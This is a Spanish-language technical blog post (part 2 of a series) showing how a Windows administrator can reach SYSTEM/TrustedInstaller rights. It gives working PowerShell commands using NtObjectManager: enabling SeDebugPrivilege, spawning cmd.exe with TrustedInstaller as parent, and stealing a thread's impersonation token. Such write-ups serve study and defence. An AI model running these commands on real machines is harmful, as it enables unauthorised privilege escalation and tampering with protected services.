GetSystem() - TrustedInstaller (Parte 2)

Hola! retomamos la impersonalización. Conociendo ya como trabaja el servicio TrustedInstaller, ahora es sencillo de entender como podemos conseguir ser "NT System" en nuestra máquina desde un usuario administrador.

Como primer apunte, TI no es un servicio PPL (Protected Process Light), sin embargo, el grupo al que pertenece posee permisos para parar y borrar otros servicios PPL, encontrándose este extraño "bug" en los límites de seguridad, y como tal no ha sido corregido.

Para estas pruebas es necesario instalar el módulo NtObjectManager en nuestra máquina:
Éste añade distintos cmdlets para poder acceder al espacio de nombres del administrador de objetos NT.

Desde una consola de administrador, abrimos el proceso TI y comprobamos con SeDebugPrivilege si el token esta "abierto".

PS C:\> Install-Module -Name NtObjectManager
PS C:\> Set-NtTokenPrivilege SeDebugPrivilege


El padre de nuestro nuevo proceso es el que llama al CreateProcess, sin embargo, UAC trata a todos los procesos elevados como si fueran procesos hijos del servicio de UAC. Si no se especifica un token, el nuevo proceso lo heredará del padre asignado. El único requisito para esto es que el identificador del proceso que usamos como padre debe tener la propiedad de derechos de acceso PROCESS_CREATE_PROCESS.

Con SeDebugPrivilege podemos obtener acceso completo al proceso de TI, incluido el derecho a crear nuevos procesos secundarios a partir de él.

Set-NtTokenPrivilege SeDebugPrivilege
Start-Service TrustedInstaller
$p = Get-NtProcess -Name TrustedInstaller.exe
$t = $p.OpenToken()
$t.Groups | Where-Object {$_.Sid.Name -match 'TrustedInstaller'}



Aprovechando este comportamiento, podemos crear un proceso arbitrario que se ejecute como el token del servicio de TrustedInstaller en el entorno actual, utilizando el cmdlet New-Win32Process y pasando el proceso-objeto con el parámetro -ParentProcess
Con el siguiente comando abrimos una nueva CMD elevándonos a los cielos.

$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

Voilá, somos NT System: 

BONUS!

Podemos también impersonar el token sin necesidad de estar creando un nuevo proceso. Para esto usaríamos NtImpersonateThread. Esta API permite capturar el contexto de la suplantación desde un hilo existente y aplicarlo a otro.
Si no hay un token de suplantación existente, se tomará una copia del token primario del proceso asociado con el subproceso haciendose pasar por éste. No se requiere un permiso especial para acceder al token, solo que tenga el acceso THREAD_DIRECT_IMPERSONATION hacia un hilo que podamos obtener mediante SeDebugPrivilege.

Resumen:
  1. Abrimos un proceso con permisos para poder listar sus hilos (permiso PROCESS_QUERY_INFORMATION).
  2. Luego, abrimos el primer hilo del proceso, con un usuario con privilegios de administrador (permiso THREAD_DIRECT_IMPERSONATION). 
  3. Por último, hacemos la llamada a NtImpersonateThread para robar un token de suplantación.

Código:

Start-Service TrustedInstaller
$p = Get-NtProcess -Name TrustedInstaller.exe
$th = $p.GetFirstThread()
$current = Get-NtThread -Current -PseudoHandle
$imper = $current.ImpersonateThread($th)
$imper_Token = Get-NtToken -Impersonation
$imper_Token.Groups


Cya.
0xVIC.

Comentarios